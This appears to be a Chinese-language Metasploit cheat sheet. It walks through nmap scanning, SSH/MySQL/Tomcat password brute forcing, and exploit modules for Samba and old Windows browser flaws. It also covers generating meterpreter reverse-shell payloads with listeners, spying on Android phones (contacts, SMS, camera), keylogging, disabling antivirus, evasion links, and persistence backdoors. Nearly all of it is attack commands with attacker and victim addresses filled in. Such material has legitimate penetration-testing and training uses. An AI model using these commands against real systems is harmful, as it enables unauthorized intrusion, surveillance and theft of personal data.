metasploit篇
第一部分:基本使用
1、在kali中metasploit默认使用postgresql作为它的数据库;
/etc/init.d/postgresql start
开机自启:update-rc.d postgresql enable。
2、初次使用数据库服务时需初始化,以便创建系统默认的数据库及数据库用户;
msfdb init(默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)
成功初始化会输出如下信息:
3、启动metasploit:msfconsole
4、查看数据库连接状态
5、工作台相关指令:
workspace -a test 新建test工作台
workspace -d test 删除test工作台
workspace test 切换到test工作台
6、获取帮助信息
7、使用nmap(支持扫描域名,不过会很慢,不推荐)
db_nmap -sS 123.110.112.210 扫描主机 db_export 1.xml 导出扫描结果(导出到当前工作路径) db_import 1.xml 导入扫描结果 hosts 查看扫描结果
第二部分:信息收集模块
nmap探测开放端口和服务
-sS sync半开扫描 -Pn 不使用ping方式探测主机 -A 探测服务类型 -O 探测操作系统类型
常用组合:
db_nmap -sS -Pn -A -O 123.110.111.210
查看扫描结果:
db_services 查看扫描结果
扩展组合:
nmap -T4 -A-v 深入式扫描 nmap -sS -sU -T4 -A-v 同上,且扫UDP nmap -p 1-65535 -T4 -A-v 扫描所有TCP端口 nmap -T4 -A-v -Pn 不使用ping nmap -T4 -A-v -sn 使用ping nmap -T4 -F 快速扫描 nmap -sV -T4 -O -F --version-light 加强版快速扫描 nmap -sn --traceroute 快速路由跟踪扫描 nmap -sS -Pn -A -oX subnet1 123.110.221.120/24 将扫描结果导出为subnet1.xml
模块使用方式示例:
search telnet 搜索相应模块 use auxiliary/scanner/telnet/telnet_version 使用相应模块
show options 查看可设置的选项 set RHOST 123.120.111.210/24 设置IP地址 set THREADS 50 设置线程数 run(或exploit) 开始扫描
常用扫描模块:
auxiliary/scanner/telnet/telnet_version 扫描开放了telnet的主机 auxiliary/scanner/ssh/ssh_version 扫描ssh主机 auxiliary/scanner/mssql/mssql_ping 扫描mssql主机 auxiliary/scanner/ftp/ftp_version 扫描ftp主机 auxiliary/scanner/ftp/anonymos 扫描ftp匿名登录 auxiliary/scanner/discovery/arp_sweep 扫描局域网内有哪些主机存活 auxiliary/scanner/http/dir_scanner 扫描网站目录 auxiliary/scanner/snmp/snmp_login 扫描snmp主机
第三部分:密码爆破
爆破方式,利用密码文件进行爆破,使用方式同上,只是设置选项常用的多了两个,可通过show options查看到
set USERNAME root 设置需要爆破的用户名 set PASS_FILE /root/pass.txt 设置爆破需要调用的字典文件 set USER_FILE /root/user.txt 通过文件调用需要爆破的用户名
常用模块:
auxiliary/scanner/ssh/ssh_login ssh密码爆破 auxiliary/scanner/http/tomcat_mgr_login tomcat密码爆破 auxiliary/scanner/mysql/mysql_login mysql口令爆破 auxiliary/scanner/smb/smb_version samba爆破
第四部分:漏洞利用
linux samba漏洞
search samba use linux/samba/lsa_transnames_heap show payloads 查看载荷 set payload linux/x86/shell_bind_tcp 设置载荷,这是linux的一个反弹shell set Lport 8080 set RHOST 192.168.2.116 exploit
dll 注入漏洞
针对windows低版本的浏览器(IE6)通过访问一个指定的URL地址,从而留下一个会话,利用此会话可以查看被攻击对象的详细信息
use exploit/windows/browser/webdav_dll_hijacker set payload windows/meterpreter/bind_tcp show options set SRVHOST 192.168.1.211 set LHOST 192.168.1.211 设置本地地址 set RHOST 192.168.1.127 设置要攻击的机器的地址 set LPORT 1215 本地监听的端口
实战举例:
search ms12-004 找到漏洞的编号 show options use exploit/windows/browser/ms12-004_midi 利用此漏洞,从名字可以看出是和浏览器相关的一个漏洞 set PAYLOAD windows/meterpreter/reverse_tcp 生成一个windows下的反弹shell set LHOST 192.168.1.102 show targets exploit 开始攻击
Windows相关漏洞编号及相关信息可在此网站寻找:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-023
metasploit常用漏洞利用命令:
show targets 显示目标(OS版本) set target <target_number> 设置目标编号 exploit 开始 session -l <ID> 列出会话 session -i <ID> 选择会话 session -k <ID> 结束会话 <ctrl> z 把会话放到后台 <ctrl> c 结束会话
show auxiliary 显示辅助模块
use <auxiliary name> 使用辅助模块
set <option name> <option> 设置选项
run 运行
第五部分:shell_code
Windows:
1、生成shell_code:(可直接在终端shell下操作)
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.213 LPORT=1121 X > /root/shell.exe
2、侦听shell_code:
新开一个窗口
msf> use exploit/multi/handler set payload windows/meterpreter/reverse_tcp 设置反弹shell set LHOST 192.168.12.76 设置源IP set LPORT 1127 设置源端口 exploit 发起侦听 或者 msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.12.76 LPORT=1127 E
一条语句搞定
3、将生成的shell.exe传到被攻击的机器上执行一下
4、控制端查看是否收到反弹shell
==================================================
Linux: 同上,改模块为:linux/x86/meterpreter/reverse_tcp java:(shell后缀名为jar) 同上,改模块为:java/meterpreter/reverse_tcp php: 同上,改模块为:php/meterpreter/reverse_tcp android:(shell后缀名为apk) 同上,改模块为:android/meterpreter/reverse_tcp 安卓常用命令: dump_contacts 导出电话 dump_sms 导出信息 webcam_list 可以看到有几个摄像头 -i 1 选择后摄像头 webcam_stream 开启摄像头 webcam_snap 拍照截屏
meterpreter基本命令:
截屏:screenshot 获取系统运行的平台:sysinfo 获取键盘记录:keyscan_start或keyscan_dump 查看进程:ps 切换进程:migrage 1774 记录键盘输入:run post/windows/capture/keylog_recorder 进程迁移:run post/windows/manage/migrate 查看目标机所有流量:run packetrecorder -i 1 提取系统信息:run scraper 关闭杀毒软件:run killav
查看主机是真实机还是虚拟机:run checkvm
添加用户:run getgui
显示远程机器的防火墙规则:run getcountermeasure
免杀系列
shellter免杀:参见 https://blog.csdn.net/sufeiboy/article/details/65939342
veil和msfvenom免杀 参见:https://blog.csdn.net/wyf12138/article/details/79825833
第六部分:持久控制
run persistence -X -i 50 -p 1121 -r 192.168.12.123 当你生成的exe后门在客户机上正在执行的时候,通过这条命令代表将其加入到自启动里面,并每50秒检查一次 msf> use exploit/multi/handler set payload windows/meterpreter/reverse_tcp 设置反弹shell set LHOST 192.168.12.76 设置源IP set LPORT 1127 设置源端口 exploit 发起侦听
./msfpayload win32_reverse LHOST=192.168.1.117 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d" //Windows版
./msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20" //Linux版
以上命令的作用是生成一个反弹shell,并且对其进行编码,把16进制的\x00\x0a\x0d给排除掉,主要是在缓冲区溢出的时候能够用到
添加入站规则,非本机127.0.0.1访问本机的4444和13327都DROP掉,通常用于本机测试
• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP